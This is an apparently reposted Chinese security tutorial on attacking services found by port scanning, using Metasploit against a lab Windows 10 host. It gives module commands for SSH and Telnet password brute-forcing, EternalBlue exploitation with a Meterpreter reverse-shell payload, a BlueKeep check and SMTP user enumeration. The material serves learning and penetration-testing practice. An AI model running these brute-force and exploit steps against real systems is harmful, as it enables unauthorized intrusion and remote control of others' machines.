
在现实环境中,往往通过查看该IP开放了什么端口而判断出开放了什么服务,让我们获得更多信息。当我们获取到某端口存在什么服务后,如何进行进一步的渗透攻击呢?这是我们今天所要研究的
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
开放端口的常见系统服务
端口号 | 端口说明 | 攻击方向 |
---|---|---|
22 | SSH 远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet 远程连接 | 爆破、嗅探、弱口令 |
445 | SMB | 永恒之蓝 |
3389 | Rdp 远程桌面连接 Shift 后门(需要 Windows Server 2003 以下的系统) | 爆破 |
5900 | VNC | 弱口令爆破 |
5632 | PyAnywhere 服务 抓密码 | 代码执行 |
25 | SMTP 邮件服务器 | 枚举用户 |
161 | SNMP | 爆破搜集目标内网信息 |
Metasploit的介绍
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。
是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
ms相关术语
渗透攻击(exploit)
利用目标的漏洞所进行的攻击行为
· 攻击载荷(payload)
目标系统在被渗透攻击后执行的代码,比如说反弹式shell
· 溢出代码(Shellcode)
作为攻击载荷运行的一组机器指令,通常是用汇编语言编写
目标系统执行了shellcode之后才会提供一个命令行shell
· 模块 (module)
指的是MSF框架中所使用的一段软件代码组建
· 监听器(listener)
MSF用来等待网络连接的组件
靶机准备
靶机环境 windows10
断开防火墙
实现靶机和攻击机之间的互相ping通
SSH
SSH为SecureShell的缩写,由IETF的⽹络⼩组(NetworkWorkingGroup)所制定;SSH为 建⽴在应⽤层基础上的安全协议。SSH是较可靠,专为远程登录会话和其他⽹络服务提供安全性的协 议。利⽤SSH协议可以有效防⽌远程管理过程中的信息泄露问题。 SSH最初是UNIX系统上的⼀个程序,后来⼜迅速扩展到其他操作平台。SSH在正确使⽤时可弥补⽹ 络中的漏洞。SSH客⼾端适⽤于多种平台。⼏乎所有UNIX平台—包括HP-UX、Linux、AIX、 Solaris、DigitalUNIX、Irix,以及其他平台,都可运⾏SSH。 SSH常⽤端⼝是22,通常可以使⽤Linux下的ssh命令对其连接管理,windows下可以使⽤ putty、SecureCRT、Xshell等⼯具。
利用msf工具对目标主机SSH爆破
启动 msf
在msfconsole中输入命令
search ssh_login
搜索ssh_login的相关工具和攻击载荷。
在终端中输入命令启用漏洞利用模块, 提示符就会提示进入到该路径下。
use auxiliary/scanner/ssh/ssh_login
在终端中输入命令查看需要设置的相关项,“yes”表示必须填写的参数
show options
设置攻击参数,包括但不限于目标机器ip 用户名 密码表(注意这个 passwd.txt 是已经有的)暴力破解线程
配置好参数后,在终端中输入run,开始向目标主机爆破ssh的登陆帐号和密码。这里由于我们目的是学习方法,密码表是随便拼凑得,爆破失败也不要紧。
假如爆破成功,在命令行输入ssh root@192.168.160.139连接目标主机。类似于下图这种效果。到此我们对于22端口的攻击就成功了
Telnet
Telnet Telnet Telnet协议是TCP/IP协议族中的⼀员,是Internet远程登录服务的标准协议和主要⽅式。它为⽤ ⼾提供了在本地计算机上完成远程主机⼯作的能⼒。在终端使⽤者的电脑上使⽤telnet程序,⽤它连 接到服务器。终端使⽤者可以在telnet程序中输⼊命令,这些命令会在服务器上运⾏,就像直接在服 务器的控制台上输⼊⼀样。可以在本地就能控制服务器。要开始⼀个telnet会话,必须输⼊⽤⼾名和 密码来登录服务器。Telnet是常⽤的远程控制Web服务器的⽅法。 telnet服务使⽤的默认端⼝为23,连接telnet服务器使⽤nc或者telnet都可以
利用msf工具对目标主机Telnet爆破
流程和原理和对ssh的爆破基本一样,不再赘述
telnet登录auxiliary/scanner/telnet/telnet_login
扫描telnet版本auxiliary/scanner/telnet/telnet_version
msf >use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > show options
设置参数use爆破即可(这里靶机没开放23端口)
SMB
SMB 服务器信息块(SMB)是⼀个⽹络⽂件共享协议,它允许应⽤程序和终端⽤⼾从远端的⽂件服务器访 问⽂件资源。微软最初将SMB定位为WindowsServer2008和Vista系统中通⽤互联⽹⽂件系统 (CIFS)的后续产品。最新版本的SMB3.0在WindowsServer2012操作系统中出现,并且与 Windows8客⼾端共同⼯作。 SMB⼀种客⼾机/服务器、请求/响应协议。通过SMB协议,客⼾端应⽤程序可以在各种⽹络环境下 读、写服务器上的⽂件,以及对服务器程序提出服务请求。此外通过SMB协议,应⽤程序可以访问远 程服务器端的⽂件、以及打印机、邮件槽(mailslot)、命名管道(namedpipe)等资源。 对外开放SMB协议端⼝不多,默认端⼝为445,在内⽹中⽐较常⻅,尤其是存在域控的⽹络中,域控 管理主机⽤的就是这个协议,在内⽹横向移动的时候会经常使⽤,在操作⽬标服务器之前需要先进⾏认 证,认证的命令是:
net use \\target\c$ /u:username password
利用msf工具实现永恒之蓝漏洞复现
寻找MS17_010漏洞
search ms17_010
这里找到了四个模块,我们用到的有两个。第一个是漏洞利用模块,我们先探测哪些主机存在漏洞,第四个辅助模块是探测主机是否存在MS17_010漏洞
辅助探测模块
输入命令
use auxiliary/scanner/smb/smb_ms17_010
C段扫描,显示加号的则能够利用
漏洞攻击
然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块: use exploit/windows/smb/ms17_010_eternalblue、
查看漏洞信息
查看可攻击的平台
查看攻击载荷
设置攻击载荷:
set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数: show options
需要我们设置RHOST 与LHOST(攻击机IP)用于接收从目标机弹回来的shell。这样就可以愉快的进行攻击了。成功反弹shell
RDP
RDP 远程桌⾯协议(RDP)是⼀个多通道(multi-channel)的协议,让使⽤者(所在计算机称为⽤⼾端或'本 地计算机')连上提供微软终端机服务的计算机(称为服务端或'远程计算机')。 RDP协议使⽤的默认端⼝为3389,在渗透过程中,拿到服务器权限之后,在⼀些特殊的环境,⽆法通 过命令⾏进⾏管理操作的情况下,可以通过添加账⼾,开启3389连接功能,远程登录⽬标服务器进⾏ 管理
使用msf验证Microsoft RDP RCE (CVE-2019-0708)漏洞
搜索 0708
search 0708
测试主机是否存在0708漏洞
msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > set RHOSTS 192.168.160.139
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > exploit
执行渗透,有概率会成功,成功页面如下述
SMTP
SMTP是⼀种提供可靠且有效的电⼦邮件传输的协议。SMTP是建⽴在FTP⽂件传输服务上的⼀种邮 件服务,主要⽤于系统之间的邮件信息传递,并提供有关来信的通知。SMTP独⽴于特定的传输⼦系 统,且只需要可靠有序的数据流信道⽀持,SMTP的重要特性之⼀是其能跨越⽹络传输邮件,即 “SMTP邮件中继”。使⽤SMTP,可实现相同⽹络处理进程之间的邮件传输,也可通过中继器或⽹ 关实现某处理进程与其他⽹络之间的邮件传输。 SMTP协议默认使⽤的端⼝是25,连接测试的话可以使⽤nc、telnet
利用msf对目标主机进行邮件枚举
利用如下相应框架,这里不再赘述
auxiliary/scanner/smtp/smtp_enum
auxiliary/scanner/smtp/smtp_version
后记
通过学习对系统服务的攻击,第一次接触到了msf这款工具,并深深地为其功能之强大而折服。
参考文章
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)